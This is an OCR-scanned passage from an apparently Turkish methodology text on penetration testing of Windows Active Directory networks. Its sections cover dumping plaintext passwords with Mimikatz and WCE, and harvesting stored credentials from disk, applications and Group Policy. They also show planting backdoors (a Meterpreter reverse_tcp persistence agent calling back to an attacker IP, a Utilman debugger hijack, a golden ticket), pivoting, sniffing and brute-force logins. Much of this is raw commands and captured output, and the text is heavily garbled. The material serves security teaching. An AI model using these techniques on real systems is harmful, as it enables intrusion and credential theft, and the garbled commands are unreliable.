4.4.4 RAM iizerinde kayith parolalar

Yerel yonetici veya SYSTEM yetkileriyle bilgisayara erigim saglandiktan sonra, bilgisa-
yarda oturum acan kullanicilara ait parolalarin agik hali elde edilmeye caligithr. Bu
amagla, LSASS dosyas1 alinabilecegi gibi, ¢esitli uygulamalar ¢aligtirilarak parolanin agik
hali dogrudan da elde edilebilir. Parola 6zetlerinin elde edilmesine yonelik cegitli 6rnekler

agagidaki gibi siralanabilir.

Yontem - 1: WCE ve Mimikatz araglar temel olarak RAM iizerinde bulunan kimlik
dogrulama paketlerindeki (authentication packages) kimlik bilgilerini (sifreli parola ve

parola ozetlerini, kullanici adi gibi) okur, parolayr (ve MSV1_0.dll i¢in parola 6zetini)
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sifreleyen gifreleme anahtarini elde eder. Sonrasinda ise, Sekil 4.27°de goriildiigii gibi
sifreli kimlik bilgilerini ¢ozer (degifre eder).

C:\Windows\system3Z>cd C:\Users\Kerem“\Desktop~wce_vl_4Zbeta_x&4

C:S\Users“Kerem“Desktopwce_v1_4Zbeta_x64>wce -1

WCE v1.42beta (X64) (ﬁindows Credentials Editor) - (c) 2010-2013 Amplia Security
- by Hernan Ochoca (hernan@ampliasecurity.com)

Use -h for help.

C:N\Users\Kerem\Desktopwce_vl_42beta_x64>wce -w

WCE v1.4Zbeta (X64) (Windows Credentials Editor) - (c) 201B-2013 Amplia Security
- by Hernan QOchoa (hernan@ampliasecurity.com)

Use -h for help.

mimikatz # sekurlsa::logonPasswords all

1 @ ; 335930 (0PRREERA: PERS203a)
: Interactive from 1
i Kerem

: PC1
: §-1-5-21-1973118877-3157118819-3923978096- 1001

[PEERR3] Primary
¥ Username :

¥ Domain

* LM

* NTLM

¥ SHA1

Username :

Domain £
Password :

k. Username :
Domain z
Password :

Username :
¥ Domain H
Password :

SEKIL 4.27: WCE ve Mimikatz Kullanimi

Yontem - 2: Uygulamay: ¢ahigtirmak yerine Powershell betigi kullanilarak da RAM
iizerinden parolalar Sekil 4.28’de goriildiigii gibi elde edilebilir.

mimikatz(powershell) # sekurlsa::logonpasswords

authentication Id : 0 ; 147414 (00000000:00023fd6)
i : RemotelInteractive from 2
: administrator
: ADSECLABO
: 5-1-5-21-186993273-1316126705-865754954-500

msv :

[00000003] Primary

* Username : Administrator

* pomain : ADSECLABO

* NTLM : 96ae239aelf8f186a205b6863a3c955f

* SHAL : 0f3ecc3981e4bc6360cc554f2f6867368b650d8
[00010000] credentialKeys

* NTLM : 96ae239aelf8f186a205b6863a3c955F

* SHAL : 0f3ecc3981e4bc6360cc554f2fF6867368b650d8
tspkg :
wdigest

* Username : Administrator

* pomain : ADSECLABO

* password : Password9g!!!
kerberos

SEKIL 4.28: Mimikatz Powershell Kullanimi
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Yontem - 3: Meterpreter baglantisi elde edildigi durumlarda mimikatz eklentisi ile de

parolalar RAM iizerinden agik olarak Sekil 4.29’da goriildiigii gibi elde edilebilir.

meterpreter > wdigest
[+] Running as SYSTEM

[*] Retrieving wdigest credentials
wdigest credentials

Domain User Password
NTLM WORKGROUP PC1%
Negotiate NT AUTHORITY LOCAL SERVICE
0;45775 NTLM
0;996 Negotiate WORKGROUP PC1$
0;335930 NTLM PC1 Kerem Pr1-30.2.15.

SEKIL 4.29: Mimikatz Meterpreter Kullanimi

Yontem - 4: Hedef sistemde gerekli 6nlemler aligmigsa yukaridaki yontemler ile parola
Ozetleri alinamayabilir. Bu durumlarda LSASS prosesinin dump dosyasi elde edilerek
sanal ve sikilagtirilmasi yapilmamig bir ortamda parolalarin acik hali Sekil 4.30’da gorildi-
gl gibi elde edilebilir.

C:\Users\Levent\Desktop>mimikatz.exe "sekurlsa::minidump LSASS_prosesi.dmp" "sekurlsa::wdigest" exit

#ﬁﬁﬁﬁﬁﬁ mimikatz 2.@ alpha (x64) release "Kiwi en C" (Jan 22 2015 22:16:09)
BN B /% % %
# N S WY Benjamln DELPY ‘'gentilkiwi®' ( benjamin@gentilkiwi.com )

Yak v @’ tp://blog.gentilkiwi.com/mimikatz oe.eo)

T RERHE with 15 modules x x %/

mimikatz (commandline) # sekurlsa: mlnldump LSASS_prosesi.dmp
Switch to MINIDUMP : ’LSASS_prosesi.dmp

mimikatz(commandline) # sekurlsa::wdigest
Opening : 'LSASS_prosesi.dmp’ file for minidump...

Authentlcatlon Id : @ ; 717546 (20000004 : APAaf 2ea)
: Interactive from 3
| gRNEK
1 S5-1- 5 21-2894599646-2825042678-4174893972-1106
wdiaest )
sername :
* Domain
* Password :

SEKIL 4.30: Mimikatz LSASS ile Kullanim

4.4.5 Disk veya uygulamalar iizerinde kayitl veriler

Windows bir bilgisayara erigim saglandiktan sonra, disk tizerinde kayith kritik bilgiler
elde edilmeye caligilir. Bu iglem el ile gerceklestirilebildigi gibi, betikler kullanilarak da
gerceklegtirilebilir.

El ile gergeklestirilen aramalarda agagida belirtilen alanlarda aramalar yapilir.
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C:\Users altindaki Desktop, Documents ve Downloads dizinlerin incelenmesi
e Harici disklerin (D, E, F vb.) incelenmesi

e Windows-Run tug takimina tiklanarak erigim saglanan dizinlerin incelenmesi
e En son girilen dizinlerin ve dosyalarin incelenmesi

e Kullanilan web tarayicilarda kritik sistemlere erigimlerin, favori web sayfalarinin

incelenmesi
e En son kullanilan uygulamalarin tarihcesinde erigim saglanan verilerin incelenmesi

e Kullanilan uygulamalara (TOAD, Filezilla, OpenVpn vb.) ait konfigiirasyon dosyala-

rinin (tnsnames.ora, *.ovpn) uygulamaya 6zel dizinlerde incelenmesi

e Kayitl kablosuz ag erigsim bilgileri elde edilmesi

Not: Ele gegirilen bilgisayarda C:\Users dizininde son degisiklik tarihine gére en yakin

tarihe ait oturuma daha fazla onem verilmelidir.

Betikler veya Metasploit modiilleri kullanilarak disk sistemi iizerinden veya uygulamalar-

dan kritik bilgilerin elde edilmesine yonelik cesitli érnekler agagidaki gibi siralanabilir.

Yontem - 1: Powershell komutlar: veya 6zel betikler ile disk sisteminde kritik bilgi Sekil
4.31’de goriildiigi gibi aranabilir.

PS C: \Users\Yonetch) Get-ChildItem -Path_C:\Users, C:\Araclar -Include x.txt ., log. *.bat, *.reg, %.cs, *.sql, x.psl]
x.config, proBertles x.xml -Recurse -ErrorActién SilentlyContinue -Force | bel ’String -Pattern Password, password
, Sifre, slfre arola, ‘parola. Sifre, sifre, root, admin, Pass -casesensitive > \KrltikBilgiler.tX

PS C:\Users\Yonetici> type C:\KritikBilgiler.txt

:N\UsersNAll sErs\MlcrosoFt\Hxndows\HER\Re ortQueuesNonCritical x64_dd229e5a73a1c188997d6f 63d082204245f 8cb_cab_061d259
9\DM123GA tmp. log. xml:64: (Ercperty ?uld {2%95bffc-5@a7 47ce-af 08-68c9a7d73366} " pid="12" type="8210"><{valued’systemroo
“\system32\setupapi.dll, -5¢/value>{/propert a2
AppDataNlocal\Microsoft\internet Exp]orer\DOMStore\TR4NOK X\mww Eoogle goml1].xml:1:<root></root>
AppDataNLocal\Microsoft\Internet Explorer\brndlog 30 Processing roct certlfl:ates
AppData\anal\Mx:rcsoFt\Hxnduws\Tempurary Internet Flles\Content IES\FH7V9NN3\CA8V9959 lo
1/7dl, le.com/update2/1.3.26.9/Googlelnstal ler .applicat ion7appguid .7ESA69DS45 DEé4 463C AFFl A69D9
13617AFF -24A2-177E-66A9-| B4B 99CB9C92/7D/26lanE/3Dtr/26browser/°D2/26usagestats/°DB/265ppname/3DGo
csle/ZSZOChrome/ZEneeds adminx3Dprefersx26ipnstal ldataindex%3Dd rowser
APPData\Local\MLcrosoft\Hlndows\Temporarv Internet Flles\Content IES\FH7V9HN°\CA8V9959 log:32: * [2/8/2015 9:49:28 P
M1 : ogle.c: d 2 1 3 26. 9/G ein alle .applicat ion?appguidx3Dx7B8A6ID345-D564-463
/BDt r#A26browser7Z3D2/426usagestats#3D0x26
rowser has started.
:40: x [2/8/2015 9:49:49 P
plicat ion?appouidy3Dx7BBA69D345-D564-463
/3Dtr/26browser/3D2/26usagestat5/3D8/26
appname”3DGoogleX: romex26éneedsadminy /26 ins ceeded.

AppDataNRoaming\FileZilla\filezilla.xml <Sett1ng name="F Proxy passward ><{/Setting>
AppDataNRoaming\FileZilla\filezilla.xml {Setting name="Proxy password" )(/Settlng)
AppDataNRoaming\FileZilla\filezilla.xml {Setting name usted root certificate™></Setting}
AppDataNRoaming\FileZillaNfilezilla.xml:127: <Setting name="Prompt password change">1<{/Setting>

PS C:\Users\Yonetici>

SEKIL 4.31: Powershell ile Disk Uzerinden Kritik Bilgi Elde Etme

Yontem - 2: Meterpreter elde edilen bilgisayarda Winscp, Filezilla, Tortoisesvn gibi
uygulamalar iizerindeki kimlik bilgileri Sekil 4.32’de goriildiigii gibi elde edilebilir.
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post( ) > run

Looking for WinSCP.ini file storage...

Looking for C:\Program Files (x86)\WinSCP\WinSCP.ini.

Failed to open file: C:\Program Files (x86)\WinSCP\WinSCP.ini

WinSCP.ini file NOT found...

Looking for Registry Storage...

Host: 10.4.62.72 Port: 22 Protocol: 55H Username: oracle Password: ()r@cl!el
Done!

Post module execution completed

post( I |

post( ) > run

Checking for Filezilla directory in: C:\Users\Yonetici\AppData\Roaming
Found C:\Users\Yonetici\AppData\Roaming\FileZilla
Reading sitemanager.xml and recentserve xml files from
Parsing sitemanager.xml
Collected the following credentials:
S r: 172.27.146.159:21

pissword
No recent connections where found.

Post module execution completed
msf post( e |

SEKIL 4.32: Meterpreter ile Uygulamalar Uzerinden Kritik Bilgi Elde Etme

Yontem - 3: Etki alanlarinda igletim sistemi {izerinde parolalarin ayarlanmasi icin
Group Policy Preferences kullanilmigsa bu parolalar ¢oziilebilir. Bu iglemde meterpreter

kabugu kullanilabilecegi gibi harici betikler de Jekil 4.33’te goriildiigii gibi kullanilabilir.

post ( ) > run

Checking for group policy history objects...

Error accessing C:\ProgramData\Microsoft\Group Policy\History : stdapi_fs_ls: Operation failed: The system ca
Checking for SYSVOL locally...

Error accessing C:\Windows\SYSVOL\sysvol : stdapi_fs_ls: Operation failed: The system cannot find the path sp
Enumerating Domains on the Network...

Retrieved Domain(s) ORNEK from network

Enumerating domain information from the local registry...

Retrieved Domain(s) ORNEK from registry

Retrieved DC DCMAKINESI.ORNEK.LOCAL from registry

Enumerating DCs for ORNEK on the network. ..

No Domain Controllers found for ORNEK

Searching for Policy Share on DCMAKINESI.ORNEK.LOCAL...

Found Policy Share on DCMAKINESI.ORNEK.LOCAL

Searching for Group Policy XML Files...

Parsing file: \\DCMAKINESI.ORNEK.LOCAL\SYSVOL\ornek.local\Policies\{7ACED687-11DE-4A6C-BO8B-91BBCI95A87EG}\MA(

up Policy Credential Info

Groups.xml
USERNAME cevat. yakupgil
PASSWORD Yakup?1974.Cevat
DOMAIN CONTROLLER DCMAKINESI.ORNEK.LOCAL
OMAIN ornek.local
CHANGED 2015-02-20 18:58:33
NEVER_EXPIRES? 1
DISABLED [¢]

[*] XML file saved to: /root/.msf4/loot/20150220141843_default_192.168.100.120_windows.gpp.xml_977000. txt

[*] Post module execution completed
sf post(gpp) > i

SEKIL 4.33: Grup Ilkeleri Uzerinden Kritik Bilgi Elde Etme
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4.5 Erigsim Siirekliligini Saglama

Windows igletim sistemine erigim saglandiktan sonra, mevcut yetkiler kullanilarak bil-
gisayar iizerinde erigimin siirekliligi saglanmaya caligilir. Erigimin siirekliligini saglamak

i¢in kullanilabilecek yontemler asagidaki gibi siralanabilir.

Yontem - 1: Yonetici haklar: ile oturum elde edilen bilgisayarda Autorun, kayit defteri,

servisler, DLL’ler vb. iizerinden arka kapi Sekil 4.34’te goriildiigii gibi birakilabilir.

& spncorsycvcn . ==

| General I Boot I Services | Startup |Tuu|s |

Startup Item Manufacturer  Command Lt

[¥] vMware Tools  VMware, Inc.  "C:'Program Files\WMware\WMware Tools\ymtoolsd.exe”™ -n vmusr HI
[&] vswiHwBt Unknnwn C:\Windows \TEMPYughMjzornEwh. vbs

Fil szgEziEw C:\sers\Tubi  \AppDatalLocal{Temp\RVDIaFoFXmb. vbs

4 T I

Enableal | [ Dissbleall |

[ K ][ Cancel ] Apply Help

SEKIL 4.34: Arka Kapi Birakma

Yontem - 2: Meterpreter baglantis: elde edilmigse persistence betigi veya sdu_persistence

istismar modiilii kullanilarak arka kap: Sekil 4.35te goriildiigii gibi birakilabilir.

metelpletel > run persistence -A -X -p 4567 -r 192.168.0.130
Runninhg Persistance Script
Resource file for cleanup created at /root/.msf4/logs/persistence/PC1_20140829.1911/PC1_20140829.1911.rc
Creating Payload=windows/meterpreter/reverse_tcp LH0ST=192.168.0.130 LPORT=4567
Persistent agent script is 614064 bytes long
Persistent Script written to C:\Users\Tubi _NAppData\lLocal\Temp\RYDJaFoFXmb.vbs

Starting connection handler at port 4567 for windows/meterpreter/reverse_tcp

Multi/Handler started!

Executing script C:\Users\Tubi \AppData\Local\Temp\RVDJaFoFXmb. vbs]

Agent executed with PID 3012

Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\azgEziBW
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\azgEziBW
meterpreter >

SEKIL 4.35: Meterpreter ile Arka Kapi Birakma

Yontem - 3: Windows igletim sisteminde yetkili hesap haklari ile ele gecirilen otu-

rumda, Kayit Defteri lizerinde gerceklestirilebilecek bir degisiklik ile igletim sistemine
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uzak masaiistii ekraninda bir arka kapi birakilabilir. Béylece, kullanici hesap parolalar:
degigse bile, Windows oturum agma ekranina erigim saglanabiliyor ise Windows komut

satir1 SYSTEM haklan ile Sekil 4.36’da goriildiigii gibi elde edilebilir.

C:NUserssErcandwmic /node: 10.68.35. 150 /user:Derya spassword:Dd123456 process call create 'C:\Windows\system3Z\reg,exe add
HKLM\SOFTNARE\Mlcrcsoft\NJndows NT\Current Yersion\Image File Execution Options\Utilman.exe” +v "Debugger” /t REG.SZ -d

Egecutxns (Win32_Process)->Create()

Out Parameters:
%nstance of __PARAMETERS

ProcessId = 740;
i

C:\Users\Ercan>.

SEKIL 4.36: WMI ile Arka Kapi Birakma

Yontem - 4: Sizma testlerinde Domain Admin yetkileri alindiktan sonra erigim siirek-
liligini saglamak i¢in Altin Bilet (Golden Ticket) olugturulabilir [124]. Béylece Domain
Admins grubu iiyelerinin parolas: degigse bile yillarca bu bilet ile etki alani denetleyicisine
Sekil 4.37de goriildiigii gibi yetkili erigim saglanabilir.

ikatz{commandline2 heros:: en dnin:Administrator Adomain:resource.lab.adsecurity.ory Asid:5-1-5- 21 22421421
B? 4128614826 4135335336 /kxhtgt 433b463d8bc43615a1425cﬁa?35335bh s/startoffset:@ sendin:688 /renewnax:10888 -
Administrator
: resource.lah.adsecurity.o
B 381 5-21-224214218%9- 4123614326 4135338336

: =513 512 52@ 518 519
Serviceley: 488b468d8bc43615a1425c6a735e85bh — rc4d_hmac s
Lifetime : 73,2015 1@:52:28 PM ; 7-4-2015 8:52:28 AN ; 7/1./2815 19:52:28 FM
Ticket : *= Pass The Ticket =

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrhCred generated

Golden ticket for 'Administrator B resource.lab_adzecurity.org’ successfully subnitted for current
mimikatz<{commandline> # exit

Gastempsmimikatz> net “ads2dcl2.resource.lab.adsecurity.orgadming
e command completed suc 11y

PS C:stempmimikatz?> net use “SadsdeB3.lab.adsecurity.orghadming
The password is invalid for “SadsdcB3.lab.adsecurity.orghadming .

SEKIL 4.37: Altin Bilet ile Arka Kapi Birakma

4.6 Yeni Aglara Erisim Saglama

Windows igletim sistemine erigim saglandiktan sonra, normalde dogrudan erigim saglana-
mayan aglara, ele gecirilen bilgisayar iizerinden erigim saglanmaya caligilir. Yeni aglara

erigim saglamak icin kullanilabilecek yontemler agagidaki gibi siralanabilir.

Yontem - 1: Meterpreter erigsimi elde edilmis bir Windows istemci iizerinden erigim
saglanamayan aglara route veya portfwd komutu, MSF autoroute post veya socksda
auxiliary modiilleri, Linux proxychains uygulamasi ile erigim Sekil 4.38’de goriildiigi

gibi saglanabilir.
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meterpreter > portfwd add -1 12345 ; .0.75 -p 3389
[*] Local TCP relay created: 0.0 2345 <-> 168
meterprete > portfwd list

0.0:1

1 total local port forwards.

meterpreter > i
1~# netstat -nlpt | grep 12345

tep ( 0 0.0.0.0: 0.0.0.0:* LISTEN 1007€
t~# rdesktop 127.0.0.1: 12345

Autoselected keyboard map en-us

ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?

Connection established using SSL.

ARNING: Remote desktop does not support colour depth 24; falling back to 16

rdesktop - 127.0.0.1

Recycle Bin

¥ Administrator: C:\Windows\system32\cmd.exe

C:\Users\Yonetici>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Media State . . : Media disconnected
Connect ion- 5p901f1c DNS Suffix’ s

Ethernet adapter Local Area Connection:

%Snzectlon 5pec1f1c DNS Sufflx

v . o say snn o

Subnet Mask . . . . . . . . . . . @ 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1

SEKIL 4.38: Meterpreter ile Bagka Aglara Erigim

Yontem - 2: Masadiistii erigsimi veya komut satir1 erigimi elde edilen bilgisayar {izerinden
klasik yontemlerle (bilgisayarin komut satir1 veya masaiistii arayiizii izerinden) de dogru-

dan erigim saglanamayan yeni aglara baglanti kurulabilir.

4.7 Ag Kesfi

Ag sizma testlerinin kapsamlh bagliklarindan biri olan ag kegfi adimi, diger bir ¢ok sizma
testi kapsaminda oldugu gibi etki alani sizma testinin de énemli adimlarindandir. Win-
dows bilgisayarlar1 tespit edebilmek igin 445/TCP, 139/TCP, 3389/ TCP gibi standart
portlarin kesfi ilk agamada yeterli olmaktadir. Bu amagla Nmap, Zenmap, Hping, Ncat
gibi araclar ile ag taramasi Jekil 4.39’da goriildiigii gibi gerceklegtirilebilir.
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MR —)

Scan  Tools Profile Help

Target: | nasdag El Profile: EIntensescan

Command: | nmap -T4 -A -v nasdaqg

L Hosts ” Services ] | Mmap Cru:tput| Ports / Hosts |Tupofag}l| Host Detaiksl Scans|

05 4 Hoct 4 Port 4 Protocol 4 State 1 Service 1 Version
“|  nasdaq (192.168.01 @ 139 tcp open  nethios-ssn
@ a5 tep open  microsoft-ds Microsoft Windows XP microsoft-ds
.3 ® 3389 tcp open

SEKIL 4.39: Zenmap ile Ag Taramasi

4.8 Zafiyet Tarama

Ag iizerindeki sistemler tespit edildikten sonra, bu sistemlerin igletim sisteminden, uygu-
lamalarindan ve konfigiirasyonlarindan kaynakli zafiyetler tespit edilir. Zafiyet taramasi

i¢in kullanilabilecek yontemler asagidaki gibi siralanabilir.

Yontem - 1: Nessus, Nexpose, OpenVas gibi uygulamalar ile kimlik bilgisi verilerek
veya verilmeden zafiyet taramasi veya denetim kontrolleri Sekil 4.40’da goriildiigii gibi

gercgeklegtirilebilir [125].

Policies Yonetici

Ag Taramasi Configure | Audit Trail launch ~ Export ~ -
Scans > Hosts H Vulnerabilities Remediations Notes History
Host Vulnerabilities a Scan Details
Folder: My Scans
Palicy: Advanced Scan
Targets: 172.16.67.1, 172.16.67.211,
Start time: January 23, 2015 23:44:32
Elapsed: 40 minutes
Vulnerabilities
1521682442
@ Info
192.168.244.254 B ® Lov
Medium
@ High
@ Critical

A
>

SEKIL 4.40: Nessus ile Zafiyet Taramasi
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Yontem - 2: Igletim sisteminin sistem bilgisine (“sysinfo” komutuna) ait ¢ikt:1 Windows-
Exploit-Suggester betigine verilerek veya Windows Privesc Check betigi caligtirilarak
zafiyetler Sekil 4.41°de goriildiigii gibi tespit edilebilir.

:~/Windows-Exploit-Suggester# python windows-exploit-suggester.py --database 2015-02-08-mssh.xls --systeminfo systeminfo-ciktisi.txt
initiating winsploit version 25...
database file detected as xls or xlsx based on extension
attempting to read from the systeminfo input file
systeminfo input file read successfully (ascii)
querying database file for potential vulnerabilities
comparing the 2 hotfix(es) against the 218 potential bulletins(s) with a database of 111 known exploits
there are now 218 remaining vulns
[E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
windows version identified as 'Windows 7 SP1 64-bit’

MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical

MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical

MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important

MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical

M514-035: Cumulative Security Update for Internet Explorer (2969262) - Critical

MS14-029: Security Update for Internet Explorer (2962482) - Critical

MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important
M514-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
MS14-009: Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2916607) - Important
MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
MS13-097: Cumulative Security Update for Internet Explerer (2898785) - Critical
MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
M513-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
M513-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
MS512-037: Cumulative Security Update for Internet Explerer (2699988) - Critical
MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Import
done
Windows-Exploit-Suggester# ]

SEKIL 4.41: Betikler ile Zafiyet Taramasi

4.9 Ag Uzerinde Kritik Bilgi Elde Etme

Ag iizerinde etki alanina veya diger Windows sistemlere ait parola, parola dzeti gibi kimlik
bilgileri bagta olmak iizere cesitli kritik bilgiler ag trafiginden veya paylagimlardan elde

edilebilir. Ag iizerinden kritik bilgi elde etme yontemleri agagidaki gibi siralanabilir.

Yontem - 1: Uygun gekilde yapilandirilmamig aglarda saldirgan, hedef olarak sectigi iki
bilgisayar arasina girebilir ve trafigi izleyebilir [126]. Cain & Abel veya Ettercap araci,
Responder betigi kullanilarak ag tizerinden parola, parola 6zetleri veya kritik veriler Sekil

4.42’de goriildiigii gibi elde edilebilir.

File View Configure Tools Help

SR 1 RV HEE0%E @9 i
[& Decoders | Network &9 Sniffer [ Cracker [ Traceroute |EB ccoU [’ Wireless |0 Query |
[T Passwords | Timestamp SMB server | Client | Username | Domain Password | AuthType LM Hash NT Hash NT Serv-Chall NT Cli-Chall Sessian Key
ODCE2CASBAE. 0101000000000... 000000000000,

& FTP @) 24/02/2015 - 15:17:06 1921664131 192.160.4127 dLCKLtoY NTLMv2 (NTLMSSP) TEEOCSOFEG2E...  4SSCLC2BBDI.

@ure) 24/02/2015 1921604127 Vonetei  WORKSTATION . GCTCCAATALL. . 0101000000000... 000000000001
| - Dwem 24/02/2015 1021684127 Vanetic oup S4IDAEEADOIL. CAZESDAABIS ... 0101000000000... 0D00D0OD000Y.
& L02P 1) 24/02/2015 - 1921684127 Vanetic NTLMvZ (NTLMSSP) 1644364CDIFD... AS SOFFEIT31926F .. 0101000000000,.. B3FTISSE60GT.
@ ror3 @) 24/03/2015 - 1021684127 Levent 2z TLMSS9) AGLISDDDAFI.. AEARSIBIEBE.. BETDOFCFADA.. BEBEAEEITZF.. 0101000000000.. 2TALTBEISEE
= X 24/02/2015 - 1921684127 Levent  WORKGROUP curity (NTLMSSP)  LCFIESFEACTF.. 094B1DGAZGEA.. I147AFASTID.. 00000000000N.. BEBC20CS4IS6. ADISAIDDIAB.. Success
sl 24/02/2015 - 121684127 Levent  WORKGROUP Security (NTLMSS®) TEDIBCBIBAS, AGFISEDSAIE. 05633S3AMEAS.. 0000000000000 3EOU3TTOIEAL6. ILANDAGOFDT.. Success
H Telnet @ /0202015 - 121884127 Levent  WORKGROUP ion Security (NTLMSSP)  CCSOFCSZD2A... 7BDCSXESCE.. 62FF27DS21SL.  00000000ODDON. SIABDOALAA. 27LSGOESEDLS.. Success
gvmcm; 24/02/2015 - 16:10:37 1921664131 192.166.4127 root WORKGROUP NTLMvZ (NTLMSSD) 47D90SEDDIFY.. DTSELODC3CE., OFYBGH634CE. 0282150155AL. 0101000000000, ESAIDTZ4THE. Guest
& s
@ NSy
=5 suTP )
@ NNTP @)
) pcemec @

&5 MskerbS-Prefuth @ |, - 73
iz gﬁcm..:,‘rw' [} : e
[2 Hosts [@ 4Pk [ Routing | $ Password: [ velp |
Lost packets: 0%

SEKIL 4.42: Cain & Abel ile Ag Uzerinden Parola Elde Etme
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Yontem - 2: Yetkilendirmesi uygun sekilde yapilmamis olan paylasimlarda kaydedilmig
kritik veriler Sekil 4.43’te goriildiigii gibi ag iizerinden elde edebilir.

msf auxiliary( ) > set RHOSTS 10.20.30.72, 10.20.30.126, 10.20.30.83
RHOSTS => 10.20.30.72, 10.20.30.126, 10.20.30,83
msf auxiliary( ) > run

10.20.30.72:139 - Login Failed: The SMB server did not reply to our request
10.20.30.72:445 - Windows 2008 R2 Service Pack 1 (Unknown)
[*] 10.20.30.72:445 - No shares collected
Scanned 1 of 3 hosts (33% complete)
.126:139 - Login Failed: The SMB server did not reply to our request
.126:445 - Windows 7 (Unknown)
.126:445 ADMIN$ - (DS) Remote Admin
.126:445 C$ - (DS) Default share
.126:445 D$ - (DS) Default share
.126:445 IPC$ - (I) Remote IPC
.126:445 IPS$ - (DS)
.30.126:445 - Users - (DS)
Scanned 2 of 3 hosts (66% complete)
10.20.30.83:139 - Login Failed: The SMB server did not reply to our request
10.20.30.83:445 - Windows 2008 R2 Service Pack 1 (Unknown)
10.20.30.83:445 - No shares collected
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
auxiliary( )y > 1

SEKIL 4.43: MSF ile Paylagimlar Uzerinden Bilgi Elde Etme

Benzer olarak Windows paylagimi yerine Linux iizerindeki paylagimlardan, FTP servisin-

den, web sayfalarindan vb. Sekil 4.44’te goriildiigii gibi kritik bilgi edinilebilir.

:~# mkdir Desktop/BaglantiDizini

:~# mount -t nfs 192.168.162.131:/ Desktop/BaglantiDizini/ -o nolock

:~# 1s -la Desktop/BaglantiDizini/
total 112
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
1rwx rwxrwx
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
Trwxrwxrwx
drwxr-xr-x

N

root root 4096 May 20 2012 .

root root 4096 Jul 29 "

root root 4096 May 14 bin

root root Apr 28 boot

root root Apr 28 cdrom -> media/cdrom
root root May dev

root root Jul : etc

root root Jul : home

root root Mar initrd
root root Apr

root root May 1lib

root root Mar lost+found
root root Mar media
root root Apr mnt

root root Jul : nohup. out
root root Mar opt

root root Apr proc

root root Jul : root

root root May shin

root root Mar srv

root root Apr sys

root root Jul

drwxr-xr-x root root Apr usr
drwxr-xr-x root root May var
Trwxrwxrwx root root Apr

(4]

=

drwxr-xr-x
drwxr-xr-x

drwxr-xr-x
dr-xr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxrwxrwt

=

1
8
P
3
1
2
5
7
2
1
3
2
4
3
1
2
2.
3
2
P
P
4

P
N

1
B3

SEKIL 4.44: NFS Uzerinden Bilgi Elde Etme



Bolim 4. Kurumsal Aglarda Microsoft Etki Alany Sizma Testi Metodolojisi ve Saldiry
Teknikler: 72

4.10 Erisim Saglanabilecek Bilgisayarlarin ve Kullanicilarin

Tespiti

Ag trafiginden, paylagimlardan, erigim saglanan bilgisayarlardan, diger sizma testi kap-
samlarindan elde edilen erigim bilgileri kullanilarak erigilebilecek diger Windows kay-
naklar tespit edilir. Ayrica erigim saglanabilecek bu bilgisayarlarda hedefe 6zel aramalar
(Domain Admins oturumlarinin tespiti gibi) da gerceklegtirilebilir. Erigim saglanabilecek
diger Windows bilgisayarlari tespit etmek icin kullanilabilecek yontemler agagidaki gibi

siralanabilir.

Yontem - 1: Sizma testleri sirasinda Windows bilgisayarlar ve bir takim kimlik bilgileri
(kullanic1 adi ve parolalar) elde edildikten sonra bu kimlik bilgileri ile oturum agilabilecek
bilgisayarlar aranir. Bu amagcla Linux Hydra, Medusa, Ncrack araglar veya Levye betigi
Sekil 4.45’te goriildiigii gibi kullanilabilir [127].

FOUND: [smbnt] = E 5 - : Mehmet Password: L1123456 [ERROR (Non-existant account. Anonymous success.)]

CHECK: [smbnt] : : : : 3, 0 complete) User: Kemal (9 of 9, 11 complete) Password: L1123456 (1 of 1 complete)
FOUND: [smbnt] & : Kemal Password: L1123456 [ERROR (Non-existant account, Anonymous success.)]

CHECK: [smbnt] : . .234 3, 0 complete) User: Levent (4 of 9, 9 complete) Password: L1123456 (1 of 1 complete)
FOUND: [smbnt] : g ser: Levent Pa: rd: L11 [SUCCESS]

r
CHECK: [smbnt] . & 3, 0 complete) User: Ci (2 9, 9 complete) Password: L1123456 (1 of 1 complete)

CHECK: [smbnt] : . & . 3, 0 complete) User: (2 , 10 complete) Password: L1123456 (1 of 1 complete)

CHECK: [smbnt] 3 . i 3, 0 complete) User: Ahmet (5 , 9 complete) Password: L1123456 (1 of 1 complete)

CHECK: [smbnt] 3 o 3, 0 complete) User: Murat (1 . 12 complete) Password: L1123456 (1 of 1 complete)

FOUND: [smbnt] : . . . : Murat Password: L1123456 [ERROR (Non-existant account. Anonymous success.)]

CHECK: [smbnt] 3 . B . 3, 0 complete) User: Ahmet (5 of 9, 13 complete) Password: L1123456 (1 of 1 complete)

